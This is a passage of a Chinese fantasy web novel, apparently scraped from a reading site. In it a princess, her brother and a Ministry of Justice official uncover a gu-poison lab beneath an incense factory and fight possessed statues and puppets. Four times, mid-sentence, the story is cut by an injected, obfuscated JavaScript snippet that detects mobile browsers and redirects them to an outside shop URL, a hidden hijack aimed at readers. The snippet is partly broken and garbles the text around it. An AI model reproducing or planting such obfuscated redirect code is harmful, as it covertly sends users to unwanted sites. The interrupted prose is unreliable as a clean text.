“还有,不知道你们有没有闻到?路上的那股异香也很奇怪。”赵昭补充道。 小白脸的手指无意识地弯来弯去,像是在出神思考:“私改……香料……” 正在几人思考时,外面的走廊传来了一声惨叫。 这声惨叫过后,又接二连三地响起许多。 喧闹中,还听到有人狂笑:“哈哈!哈哈!蛊炼成啦,好蛊啊!” 一旁的人揍了他一拳:“疯子,那是互殴!要把你烧死了,快跑吧!” 赵昭不明所以,要起身查看怎么回事,却被小白脸一把拉住了。 他摇摇头,无奈道:“他们会自己来找你的。唉,这世上还有谁能收了这两个神通?” 听他这样说,虽然不懂,但赵昭还是乖乖坐了下来。 外面的叫嚷声此起彼伏,逃的叫的笑的骂的什么都有,吵得人耳朵疼。不消片刻,眼前的木门……着火了。 从外蔓延到内的熊熊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530178|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈火!还是四处乱溅的那种! 赵昭左右横跳躲过火星子,转头却见荆文曲和小白脸泰山崩于前而面不改色,抱着膝任火光包围他们,看着门外满脸一言难尽。 她也侧耳听起来。只听一阵混乱之中,有一男一女两个声音正在逐渐靠近。 女人冷哼一声,道:“班门弄斧。” 男人像在捏着鼻子,瓮声瓮气抱怨道:“什么班门弄斧,我可没你那么轴!我就是受不了一屋子小腿大的蜘蛛在那打架,恶心得要死!反正在梦里,不是要知道现在在哪吗?烧了正好!” 说罢,他又干呕一声:“恶心,脏死了!最讨厌蛇了,还敢碰我,恶心死了!对了,他是不是还在呢?别给人烧死了,人呢?” 门口终于出现了两道身影。 这两人看样子都是狱卒。不过男狱卒身量纤细,抱着胸靠在门上就不再好好站着了;女狱卒后背挺得笔直,看起来有些不修边幅,却是一身仙风道骨的气质。 他们看到赵昭和荆文曲,还有身后的阿甲几人后,都是一怔。 荆文曲赶紧解释:“是我,我是鬼王。现在情况紧急,劳烦您二位先带我们出去,稍后我再和你们解释?” 男狱卒“哈”地嘲讽一声,道:“真是莫名其妙。” 女狱卒无语,又是“哼”地背过身:“矫情。上来吧。” 哼哈二将! 赵昭半信半疑地指指哼将军:“这……真的可以?有六个人呢?” 哼将军冷言:“装柔弱的那个自己走,鬼王不算人,你带一个人上来,剩下两个给他。” 装柔弱的小白脸和不算人的荆文曲遗憾离场,赵昭只得拎起地上趴着的两个被略人,无视哈将军喋喋不休的抱怨嫌弃放在他背上,往哼将军身上一趴。 说时迟那时快,两个狱卒脚下一蹬,直接破开天花板,直往云霄冲去。 谁知,在冲破这座牢狱的一瞬间,几人陷入了虚空中。 视野完全消失,什么都看不见了,就和赵昭刚进入琉璃镜时的情景一模一样。 不知从哪里刮来一阵大风,把几人吹开,四散而去。 不过与其说是大风,其实更像是有什么东西在把他们往什么地方吸去。 “荆大人!几位仁兄仁姊——你们还在吗?”赵昭一边扑腾,寻找能抓住的支点,一边试图和已经消失不见的几个人交流。 终于,手上好像抓住了什么柔软的东西。赵昭使劲攥紧,生怕被吹走,一步步向前摸去。 风实在太大,吹得她眼疼,只能闭上眼,不停地攀爬着。 下一刻,她从床上坐了起来。 手上的被子已经被她的冷汗浸湿。窗外晨光初晓,夜幕中仅有地平线上渐渐渲染上橙黄色。 醒了。 赵昭重新躺回枕头上,踢掉被子。一个梦做得她大汗淋漓,好不刺激!第一次托梦,真是好玩,太好玩了! 仔细想想,梦中也有许多线索。失踪案背后果然没有那么简单,背后还有蛮疆人在研究蛊毒。 还是在抓大启的被略人,对他们进行实验。 如此惨无人道,赵昭没了玩闹的心思。既然已经查到这种地步,接下来还有一道难题:该怎么让暗中的线索浮到明面上,让官府去调查? 14.闲判官5 要托阿甲这个当事人的梦,必然会根据他的记忆构建梦境。也就是说,这一晚上赵昭经历的一切,看到的一切,起码有九成是真的。 案件重大,来不及拖延。赵陌现下被吩咐去查案历练,可是一旦走了朝堂上那套流程,只怕犯人早就被打草惊蛇了。 这还算轻的。她一个与此案毫无关联的六公主,突然告诉太子“失踪案背后是蛮疆蛊毒”,这又算什么事? 不光越俎代庖,还自投罗网! 况且,虽然梦中有大能相助,但直到现在,她都不知道那蛊毒贼巢到底在哪里。不论怎么说,似乎都需要官员的助力。 苦思冥想中,赵昭终于想起来个人。 三哥。 他和刑部走得近,就是因为刑部有几位他母族的亲戚,私下还会和表堂亲戚们宴饮畅谈,听听八卦趣事。 如果有他帮忙,暗中奇袭,应该就能一举捣毁贼窝了。 想到此处,赵昭不再犹豫,写了张纸条塞进母妃宫里,告诉她“今天有急事,晚点再去国子监”,换了身便衣,最后戴上个面具就骑马跑了。 十五岁前的皇嗣基本被圈在宫里,直到开府。一路上,她派贴身侍从四处偷问“三皇子府在哪”,终于找到后,却发现三哥并不在府里。 街上的人越来越多,赵昭也越来越急,绕着三皇子府跑,又绕着附近的街跑,好几圈下来,突然看到一群人扎在一起,叽叽喳喳的好像在说什么。 本来是没有心情凑什么热闹的,结果就在赵昭瞥向人群的那一眼,看到了一位正坐在马上嗑瓜子看戏看得津津有味的赵煊。 ——赵煊的母族柳氏,有兜售瓜子、花生米一类五谷杂粮的业务。最近有很多八卦,于是柳氏薄利多销,京中地面多了许多瓜子皮。 赵昭心中生疑,停下来跟着围观。 中间被旁人隔出了一大片区域来。听来得早的人给新来的人解释,是左右两人在争执着诸如“你占我地”“你偷我配方”“那是我的配方”一类常见的市井矛盾。 问题是中间办了张桌子,手上还拿根毛笔认真点头记录的,和赵煊长得有三四分像的女子。 她叫“柳炎儿”,是刑部郎中,也是赵煊表妹。 兴许是继承了柳家人的长相,赵煊长得英俊,她也长得貌美。唯独有些可惜的地方,就是她眼下垂着浓厚的黑眼圈,看来有很多天都没睡好了。 也就是因为柳炎儿,此刻吵架的风向,已经从两个掌柜之间的互相指点,变成了对她的哀嚎。 左掌柜哭道:“求您了柳大人,放我走吧,我还要做生意!” 右掌柜也求道:“我和这人说开了,没有别的事了,您真的不必如此认真!” 中间柳炎儿手上执笔,边写边说:“确认无误?那么我便结案了。若以后还有什么不和,记得来找我!” 左右掌柜“是是是”地赶紧答应,将她送神似的送走了。 柳炎儿自己一手把案桌扛在肩上,一手把椅子倒过来装下所有笔墨纸砚,带着属下向赵煊躬身行礼,道:“三殿下,今日我实在没空,改日定当赴约。” 赵煊赶紧摇摇手,把嘴里的瓜子咽下去,道:“炎儿,吃个饭的空档都没有?昨天是不是又没睡?” 柳炎儿说话依然中气十足,回道:“失踪大案当前,实在没有闲心分神。不过刚才见二位掌柜争执,才稍作停留。” 说罢,她还挺得意的样子,嘿嘿一笑:“我说了,没有人遇到我会继续吵架,您还不信我。” 赵昭闭眼。只怕柳炎儿一来,整个京中的人矛盾都能化解吧。 谁能对着像审犯人一样专注听怎么个吵法的人,把架继续吵下去啊! 不过她也没忘了正事。听到柳炎儿说在查失踪案,赶紧跑到两人面前拦下,压低声音叫道:“三哥,柳大人,且慢且慢!” 眼看围观人群全部散去,赵煊这才出声回道:“是昭儿?” 赵昭疯狂点头,向柳炎儿抱拳道:“柳大人,我这里有与京郊失踪案相关的线索,想与你确认一下。” 柳炎儿原本茫然不解,听到她这样说,眼神瞬间变得凌厉起来:“愿闻其详。” 少顷,三人来到了衙门档房中。 赵昭天花乱坠一通讲,套出医士早就查出阿甲所中剧毒的线索,又问“怕不是蛮疆毒?”。东拉西扯一顿分析,从话本到传说,总之是把柳炎儿哄得一阵钦佩,觉得六殿下料事如神。 赵昭乘胜追击,表示既然毒不寻常,只怕会牵扯出更大的阴谋。 于是,在赵昭的忽悠下,柳炎儿带着两人来查档案。 因八年前的一场瘟疫,京中炼蛊所用的一系列材料全都减少流通,毒药也需要官府经手检查。此事一度震撼修真界,因此道长们也对山林中的蛊虫严加看管。 能研制蛮疆蛊的人,背后势力必定不容小觑。 赵昭想要看看曾经登记在衙门册中的记录,确认是否有可疑线索。 可是翻遍了几个月来的卷轴,都没有看到任何可能与哑蛊相关的药物。别说是蛮疆毒了,就算寻常剧毒的毒药,卷轴上都鲜少记录。 “说来……其实我一直有个不太好的猜测。”柳炎儿眼看赵昭把一沓又一沓卷宗翻完,在旁犹豫道。 赵昭知道她这人认真,先前应该早就把卷宗翻烂了,按理说会比她更早察觉到不对劲,便道:“我也有个不好的猜测。” 赵煊意味深长地笑了两声,不接这个茬。 赵昭还记得在给阿甲托梦时,荆文曲曾说过,对那又大又黑的地下空间“眼熟”,说明她见过图纸,或是亲身去过。总之,工部是派人督办过的。 也就是说,那地下牢房,曾经是“官方建筑”。后又变成私人地界,才能对构造进行私改。 此刻卷轴又出了这等猫腻,只怕衙门的人并不简单,是放任蛮疆人这样去做的。 柳炎儿欲言又止,最后叹一口气道:“其实不光这样!我还觉得……” 赵煊赶紧制止:“停停停,懂你意思,别再说了。” 最近事多,档房中时不时就有人来,谁知道会不会有人转头就上报? 不过看赵煊这急着捂嘴的态度,又看柳炎儿那犹豫不决的神情,赵昭脑中隐隐的猜测,在此刻落地了七八成。 梦境中小白脸提到私改的牢房和异香时,她就想到一种可能——牢房之上,可能是香厂。 世间常有一种说法。牢狱煞气重,废弃之后,在上面建造香厂可以镇灾辟邪。 赵昭记得赵煊给她讲过许多民间的事。京郊也曾有这么几栋牢狱,可是其中唯有一座,被改成了香厂,归于刑部邓侍郎手下看管。 这座香厂曾从蛮疆寻得一记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532572|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇香,珍贵异常,因此不常售卖,只有富可敌国者或是王公贵族才能勉强识得一二。 刑部尚书只负责管理,邓侍郎才是落实执行者。京中官府登记用毒后,层层审批,交给他审阅过后才能批下。 赵昭越发严肃,脸上冒出丝丝冷汗。她当即道:“救人,快救人!” 又怕被可能存在,也可能不存在的眼线听到,赵昭直接拉起柳炎儿和赵煊的手就往外走。 “阿甲这么一个孱弱的人不可能大老远从别的地方跑来,想来是京郊那里逃出来的。邓侍郎的香厂,怕是有问题!那里不是本来就是监狱改的吗,底下又那么大,最适合藏人了!” 柳炎儿一拍自己胳膊:“正是这个道理!六殿下,你我真是投缘,我也是这么想的!” 赵昭大疑:“那你怎么还不去查??” 赵煊一直是嬉皮笑脸的,此刻却也是没了笑意,抿了抿嘴:“就怕是有心无力吧。炎儿,没事,今天哥哥来了!” 本来自己也才排行老三,天天哥哥哥哥挂在嘴边,可显着他了。 赵昭憋住吐槽赵煊的冲动,暗自摇摇头,道:“柳大人,这件事重大,但你也不必怕,尽管去抓人。是我带头的,天塌下来我们一起顶!不知道你愿不愿意?” 柳炎儿目光灼灼:“当然愿意。不光是您,我也一直有所怀疑,只是一直有小人阻挠。有您二位在,我就什么也不怕了!都是为了救人,哪还用在乎什么后果!” 真是太热血、太励志了,赵昭简直要为这正直好青年鼓起掌。 只不过,明明最开始是她拉着柳炎儿走的,现在怎么变成柳炎儿拖着她和赵煊一起坚定向前迈进,走军步了?画面实在太过诡异了吧! 刑部衙门里,尚书和邓侍郎全去陪太子了,留下一个右侍郎。 他见柳炎儿一个人走出了千军万马的气势,带着个神秘面具女,老脸一皱。如果不是还拖着个赵煊,只怕当即就要轰她出去了。 赵昭仔细想了想,明白了其中关窍。 柳炎儿年纪轻轻做上刑部郎中,署内应该总有人风言风语,说她是凭借柳氏后台才得此官职。 柳氏本是经商的,直到赵煊的母妃成了柳贵妃,被景乾帝专宠过一段时日,这才在朝中有了一席地位。 进朝才没几年,根基都不怎么稳,哪来的“后台”一说?一群红眼病,真吓人! 向赵煊行过礼后,右侍郎客气道:“不知此番三殿下来,有何要事?还有,请问这位是?” 这是在问赵昭了。赵煊若无其事回道:“我的侍卫而已。京郊失踪案有了新进展,炎儿想调些人手,就来通报您一声。” 右侍郎看看柳炎儿,又看看赵煊,为难道:“这……太子殿下正在听审,许多人在候着,恐怕人手是不够的。若只要调一两队人来,倒是好说。” 如果不是因为此刻只能扮作哑巴,赵昭必定是要再帮忙争取两句的。谁知柳炎儿一躬身,大喜道:“多谢大人了!” 赵煊和赵昭就这样又被推出门去。 “之前我一队人都借不到!好不容易借来一队,还全是搬卷宗搬花盆的小衙役。果然要靠金字招牌!” 堂堂刑部郎中,日子混成这样,真是太惨了。 不过既然她高兴,再加上刑部捕役怎么说也不可能是纸老虎,赵昭也就不再多说什么了。 15.闲判官6 赵煊带着壮观的一队侍从、柳炎儿带着零零散散的小队,马不停蹄地跑了一个多时辰,终于赶到了京郊的香厂的林子旁。 赵昭拦住要往前冲的柳炎儿:“柳大人,你们名不正言不顺,明查的话大概会受阻。” 既然阿甲被毒哑了还能逃出来,同时地下的香味又那样明显,说明牢房是有和外界联通的大漏洞的。 阿甲逃出的时间距离现在并不长,又没有人发现,也就是说那地方原本应该很隐蔽。 “我们分头行动,柳大人你去林子里找有没有突兀被遮蔽起来的大洞,我和三哥进去香厂看看状况。我身上带了个小烟花,放了就是需要你支援,这样可好?” 柳炎儿一想,郎中硬闯侍郎的地界,的确没有这种道理。于是摩拳擦掌地点头应道:“是!” 赵煊常年在外到处游历,也是马上明白了赵昭的意思:“我去看看奇香,一旦有问题我们就开战,你是不是这样想的?” 赵昭拍拍他的肩膀:“真聪明!就是这样!” 赵煊轻轻抽了一巴掌她脑袋:“没大没小。” 赵昭锤了一下他衣襟大开的结实胸口,边嫌弃他“好好穿衣服啊怎么这么不守男德”,仪仗就边往林子里面走去。 所谓“煞气”果然不是随口胡诌的。这座曾经的监狱,远远看去仍然是一副阴森恐怖的模样。 青墙黑瓦本是常见用色,可是不知是不是为了镇煞,飞檐上挂了许多风铃,在寂静的林中铃铃作响;大门两边还摆着各种形态的大小神像,眼睛像是活的,全都定定盯着前方。 薄雾缭绕中,传来了阵阵怪异的香火气味。不像内廷道观那样令人平心静气,反而心烦气躁。 华丽到要亮瞎眼的仪仗到了香厂大门前,侍从传谕“三殿下驾到”后,须臾,一众人迎了出来,向赵煊行跪礼。 总管事是个蛮疆来的老头。原来和赵煊说过几句话,聊过香火的事,知道赵煊是个不管事又好说话的,笑道:“三殿下要来,怎么不提前说一声,好让我准备准备?快请进,不知今日来是有何贵干啊?” 赵煊点兵了几个侍卫——自然包括赵昭——带在身旁,表现与平常无异:“哈哈,这大可不必,本身就是闲得心慌,到处逛逛。前几次想来找你看那奇香,都说没货了。不知最近有没有进来新的?” 总管事一听,自觉懂了他的来意,一拍手:“您说巧不巧,正好让您碰上了。现下库房里还有一箱,带您去看看?” 说罢,他的眼神又落在了赵昭身上。 “哎哟,就是不知该怎么称呼这位姑娘?先前没有见过您带她来啊。” 赵煊瞥了一眼,答道:“叫她小刘吧。八年前烧伤了,后来被我捡到,一直在我府上休养。现在调理好了,但毁容了,她不肯露脸。” ……这化名起得也太随意了吧! 赵昭默声低头,做出一副认可的模样。 听完这番说辞后,总管事依旧笑道:“原来如此。那请小刘姑娘跟好了,头一次来,想必是不太熟悉地方的,切莫跟丢了。” 就知道私底下偷偷拿人试蛊毒的香厂总管事不会是什么好东西。这话说的只怕是在怀疑她呢,笑面虎! 赵煊轻笑:“你多虑了。好歹是我府上的,不会愚笨至此。带路吧。” 总管事和赵煊一路寒暄。附近有许多小伙计跑来跑去,柴火声吆喝声不断,烟气袅袅。 若不是知道邓侍郎的事,旁人一定会当这里是极具烟火气的寻常香厂。然而,一旦得知底下全是在炼的蛊和许多被圈禁的人,赵昭不可避免地仔细观察起来附近的状况。 路过一处纵深的走廊时,一阵极其浓郁的香味扑面而来,呛得赵昭几人都忍不住掩鼻。 赵煊在鼻前上下扇风,咳嗽道:“这里面是什么?上次来时我记得还没有这么浓郁啊!” 总管事忙帮他拿来面罩,回道:“是配香秘房廊,有师傅在研配那奇香。配方和成品一多,气味就大!咱们赶紧走吧!” 他说得冠冕堂皇,可是赵昭是知道事情原委的。 这香味怎么闻怎么能从中闻出一丝熟悉的气味。和阿甲梦中一模一样! 赵昭把手背在身后,不易被旁人察觉地捏了捏赵煊的胳膊。 赵煊当即会意,停住脚步。 “既然这样,最后卖出去的也都是调配好的香吧?不如让我进去看看配成什么样子了,也好日后挑选?” 总管事脸上闪过一丝古怪神色,但也没多说什么,只是笑道:“当然可以了,请吧。” 走廊很深,配香秘房配备了许多间,每一间都传来了浓厚的异香。 其中应该就有通往地下牢房的路,不过目前难以确定具体是哪间。 每进入一间秘房,赵煊都要让总管事给他介绍半天是什么香、用作什么。 赵昭到处仔细观察,寻找是否有疑似地道门口的地方。 每间秘房都会有几件辟邪法器摆在房间四角,还有不同的法阵符咒,看起来不像调香的,像是义庄或是做法的。 来到走廊最深处的一间秘房,同样有许多符文法咒刻在墙上地上,鲜红一片,当真惊悚。赵煊佯装专注的听着讲解,眼睛时不时瞟向赵昭。 赵昭却目不转睛地盯着一处墙角。 赵煊就也顺着她的目光看了过去。 那里的符文和其他地方别无二致,硬要说区别,不过是多了一张符而已。 没有等赵煊通过不慎摔掉个什么东西,或者不慎踩到什么人惊叫一声这样的方式出声提醒她,赵昭反手拿起了一个烛台,点燃了黄符! “小刘,你做什么?!”赵煊想拦却拦不住,只能眼睁睁看着黄符燃烧殆尽。 谁知,一张符烧过后,竟然什么也没发生。 总管事虽然还在微笑,脸色和语气却已经冷了几分。他平静道:“刘姑娘这是做什么?才刚来就坏了我厂的法阵,这不好吧?” 匠人们见她毁坏符咒,也明白来者不善。纷纷抄起家伙,警惕看着她。 赵昭根本懒得搭理总管事这副装模作样的姿态,转头朝屋内看去。果然,墙壁上有几个符号幽幽散发着微光,相较于刚才更加鲜红。 “诸位,冷静冷静。符咒而已,又不是没有会画的大师了,我赔就是!” 赵煊赶紧挡在她身前,转头小声问:“你怎么突然发狠? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535095|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你信我。” 赵昭心一横,拔出剑来就往自己手上割了一刀。血液喷涌而出,她提着一只血手左右闪避上前阻拦的匠人,在正西“兑”卦的方位上画了一个形似眼睛,又形似波纹的符号。 “拦她……拦住她!侍卫!”总管事终于沉不住气,拉着身旁人,号令全部暗卫前来阻拦。 “三殿下,得罪了。您这位刘姑娘,我们得带走。”他彻底不演了,言语中满是冷硬。 侍卫们训练有素,争相向赵昭砍去。长枪刀剑轮番上前进攻,从四面围堵,其架势根本不像寻常香厂的侍卫,倒像是私兵。 区区邓侍郎,哪来的私兵? “我看谁敢动她!”赵煊连忙把他那恨不得全部镶上金,再把全天下最璀璨的宝石镶满剑柄的佩剑拔出来,一剑砍翻了所有侍卫。 皇嗣六术榜虽说是六术,其实也有附加的剑术排名。 而三皇子赵煊,好歹剑术也是堂堂第二名。派头夸张是夸张了些,但也并非花架子! 在赵昭画过符号后,像是某种法阵被彻底启动,屋内的所有东西都移了位置。 地板变成了右方墙壁,天花板变成了地板。整个秘房自行拆解、重组,布局俨然变成了墓室模样! 几张案桌转成了不同的角度重新组合在一起,在屋子最中央变成了一口中空的棺材。棺材上的红色符咒全部亮起,似乎在进行某种仪式。 附近弥漫的薄雾,拧成缕缕飘带,转头向中间这口棺材涌来,汇聚在一起。 赵昭瞪大双眼。 这是什么鬼!怎么感觉变成某种献祭仪式了?! 总管事见状,先是一愣,随即癫狂大笑:“平时我都不敢这样做,你个小小女娃还胆敢造次!哈哈,恭迎世子殿下,世子殿下保佑啊!” 赵煊一脚把他踹开:“吵死了,哪来的神棍!” 谁知整个屋子的侍卫人都不砍了,全都跪伏在地,对着棺材磕头道:“世子殿下保佑!世子殿下显灵!” 赵昭冲上前,要把棺材拆散。然而案桌严丝合缝地拼在一起,任她怎么使劲都纹丝不动。 就这样僵持了半天,说好的世子没有显灵。 赵昭抄起烛台烧了案桌,又夺过赵煊的利剑把符咒划烂,世子依然没有显灵。 总管事磕在地上的头抬起,癫狂情态僵得不能再僵,对着空气问道:“世……世子殿下?” 赵昭和赵煊摁住他,给他绑了起来。赵昭翻了个白眼:“还在世子呢,去见你老子吧。” 绑好了一屋的神棍,赵煊一个个审了起来,赵昭尝试拆开棺材。 只在这间屋子里设置如此法阵,看来这间屋子并不一般。如果他们嘴里那“世子殿下”的魂真的被招来了,应该会把他们打个半死赶他们出去。 不论最终下场如何,基本都起到了防御的作用。 一个寻常香厂设置这样激烈的法阵本就奇怪,结合梦境里的内容,赵昭更加确信,牢房的入口或许就在这间屋子里。 好一番研究过后,赵昭终于拆得只剩最后两张案桌。本来想一鼓作气拆完,赵煊却问道:“……你有没有听到什么声音?” 16.闲判官7 的确有声音。 赵煊又拿来两把剑,左右手各一把,竟让这压抑幽暗的墓室平添了几分富贵气。 赵昭停下了手中的动作,掌心不由得出了许多冷汗,侧耳听动静。 声音是从面前的棺材底下冒出来的。赵昭死死压住腰间来自赵煊的佩剑,退后几步,利落拔出,架在棺材外。 逐渐剧烈的响动停了下来。 下一刻,棺材地板被推开,洞口冒出了两个人。 是一男一女。二人看起来年纪都不大,甚至比赵昭还要小两岁,都穿着侍童模样的衣服。 男孩踩着女孩的肩、女孩摁着男孩的脸,两人就这样扭在一起,卡在洞口。 …… 明明是没见过的两张脸,却莫名觉得很眼熟。 男孩崩溃叫道:“你这疯女人,干什么!把你的手从我脸上拿开,碰过蜘蛛的手不许再碰我!!我的脸要被你毁了,啊!!!” 女孩把他的腿掰开,另外一只手摁上他的嘴,撑着爬了上来:“你真的好吵。” 在女孩平稳落地、直直挺着腰板掸开自己身上的灰,男孩狼狈从洞里爬上来之后,和赵昭六目相对。 随后,此二人几乎同时“哼”“哈”起来。 男孩依旧一副审视所有人的模样,上下打量一番屋内磕在地上的人们:“哈。这是做什么,一拜天地?二拜高堂?恭喜两百对新人入洞房?” 女孩随手从衣服里抖落出各种蜘蛛蝎子老鼠残骸,用鞋跟碾碎:“哼。东施效颦,想把你们世子气活?好计策。” 赵昭险些要大喊一声“是我啊!仁兄仁姊!”,然而对方显然没有与自己相认的意思,加上她此刻是个哑巴,只得收剑,企图和他们进行眼神交流。 赵煊则是大惑,问道:“请问二位是?” 男孩把女孩的衣服拉过来垫在棺材板上,顺势一坐,靠在她身上答道:“十凤。” 女孩拎着他的衣领,带他跪了下来,答道:“菩提。” 赵煊哈哈笑道:“石凤,蒲提,不知你们主人是谁,名字有点意思啊!二位在此地,是有何贵干?” 十凤刚要把来龙去脉全部讲一遍,菩提直接捂住他的嘴,简明扼要道:“救人。” 言毕,洞口又窸窸窣窣传来人往上爬的动静。 第三颗熟悉的头冒了出来——是柳炎儿。 她见到赵昭和赵煊已经控制住场面,本是大喜,想要认亲。 赵煊赶紧好一阵挤眉弄眼,柳炎儿这才收住:“三殿下,我路上偶遇了这两位仁弟仁妹。有他们相助,找到了好多被略人!果然这香厂就是有问题!” 赵煊闻言更是高兴:“不错不错,不过,人呢?” 柳炎儿指指地下:“他们还不肯上来,应该是有点害怕。我让他们先在安全些的地方待着了。” 眼看几人还要互相交代什么,地上那些被绑起来的犯人也都动弹不得,赵昭这个早就知情了的人离开了墓室,前去门口看守。 刚才墓室里并不算激烈的战斗中,赵煊身边点来的几个侍从已经把香厂内其余衙役全部制服,此刻全都没了反扑的机会。 ——可是,赵昭总觉得有哪里不太对劲。 来时飞檐上的风铃一直在发出令人烦躁的响动,此刻却是全部寂静下来。 刚才的法阵,按照总管事的说法,是会让他们的“世子殿下”显灵的。世子既然没有出现,那那阵薄雾又为什么会被引过去? 想到此处,赵昭寒毛乍起,要跑回香厂大堂里面去。 背后突然袭至的一阵阴风生生截断了这段念想。赵昭直觉不能回头,不能回头,千万不能回头! 最终却还是在某种作死本能的督促下,抱着一定要作这个死的决心,回头了。 对上了几双露出全部眼黑的青铜眼睛。 它们几乎是贴在赵昭背后了。手上各自举着刀、剑、戟等一类武器,从四面八方刺向砍向她。 赵昭身体猛地一震,举剑格挡。可是对方数量太多,力道又奇大无比,竟然把赵煊这把精锻的佩剑砍成了九段! ……赵昭想到,自己八字一定和“剑”不合吧!怎么每次一经历个大事件,就会有一把无辜的剑死去啊! 果然招来魂了,还附在了神像的身上!已经超越自然的范围,达到神鬼之境了! 这边几个叫不上名的怪异天王神像赵昭已经招架不住,香厂的大门又“哐哐”响起。 外面好像有什么木质的东西在撞门。 赵昭被一阵骚动扰得心神不宁,几道剑影砍下来,胳膊差点被削成泥。即便尽力闪躲,衣摆仍然被神像砍下了数块。 又被砍断了几撮发丝后,赵昭终于忍无可忍:“谁给我一把武器——!?” “接刀!”身旁两个童子身影闪了过去,赵昭手上便多了一把环首刀。 刀柄纹有银莲纹样,环处用冰玉制成,握在手上沉但不失威力,当真是把好刀。 十凤和菩提已经与十几尊神像打得有来有回,形成的风场竟让赵昭根本插不进去手。 奇的是,两人都只用单手作战。十凤左手五个手指张开,指尖隐隐跃起火光;菩提右手青筋暴起,溢出紫黑煞气。 这两只闲置的手犹豫半天,迟迟都不拿去攻击神像。不知是出于什么缘由,他们彼此间对视一眼,原本聚好的法力全部熄了火,专心用手上的刀剑进攻。 赵昭看自己稀里糊涂的又成了闲人,大门那边撞击的声响又一阵一阵传来,就往那边走了走。 她站到大门前没多久,正在仔细端详,试图寻找木板横在中间挡住时,大门破开了。 用百万雄兵的气势来形容,过于夸张。但是十万雄兵的气势,一定是有的。 一大群一模一样的木傀儡铺天盖地涌入了香厂院中,简直如同蝗虫过境。它们好像根本没有看到赵昭和正在缠斗的十凤菩提,鬼魅般擦身过去,直往大堂奔袭。 “啧——我还不能直接烧了,烦也烦死!”十凤抽出些空,对着飞过去的几只木傀儡当头一剑柄,把它们拍倒在地。 “用刀砍,务必拦住!”菩提也跟着用手接连抓住几只傀儡,把它们摔在地上,散成零件。 赵昭当然知道大堂里是她的凡人哥哥赵煊和新的凡人朋友柳炎儿,撞上这种邪门傀儡怎么可能处理得掉! 当即便不要命似的堵在大堂门口,一妇当关万夫莫开,大鹏展翅杀死一队又一队傀儡。 这把冰玉环首刀看起来就能削铁如泥,似乎还有神力附着,对付木头自然不在话下。问题就在于傀儡数量实在太多,纵使赵昭有使不完的劲儿,速度也渐渐落于下风。 有几只速度快的傀儡,踩在同伴堆成的尸山上,从赵昭头顶略了过去。 赵昭暗道糟糕。此时退则阵线崩溃,不退则赵煊和柳炎儿可能有危险。最重要的是,地下还有一众被略人呢! 余下的傀儡像是找到了窍门,分出一队效仿着爬上尸山。赵昭想要跳起拦截,下方的傀儡又趁机钻入。 赵昭被气死,刚要开口提醒赵煊和柳炎儿小心,面前的傀儡背后突然炸开一朵极其绚烂耀眼的烟花。 受到冲击波的影响,它们全都向前扑来,不再动弹。 赵昭顺势往后冲去,把趁虚而入的傀儡全都砍死,不禁汗颜。 这居然也可以,不知是哪位脑回路清奇的大能相助…… 这样想着,赵昭重新跑回门前。烟花的浓烟散开,看清了那人的面目。 …… ……燕怀珏!? 他骑在马上,还在点燃烟花轰炸傀儡,眼睛还时不时往大门这边看一眼。 看到赵昭出来之后,燕怀珏脸上的杀气顿时收敛,化作无辜而柔情似水的一抹微笑,做出嘴型“六殿下”。 完全就是在邀功! 赵昭石化了,身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536666|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛被身旁的烟花炸成了粉末,随风散去。 ……为什么燕怀珏会出现在这里?为什么明明她戴着面具,还能认出她就是赵昭? 考虑到他平时就一副看穿一切的模样,赵昭暂时不想再思考这种细枝末节的问题了,往他的方向跑去,三两下上了马,坐在燕怀珏身后。 随后,拿起身上带的发带,帮燕怀珏束起他飘散的头发。 燕怀珏身体一僵,声音微微颤抖道:“六……六殿下?怎么突然这样?” 赵昭的手拢着他的头发,叼着发带,嘴里含糊不清道:“你头发太长了,一会跑起来全糊我脸上。你继续炸,烟花不够我这里还有,我帮你砍。” 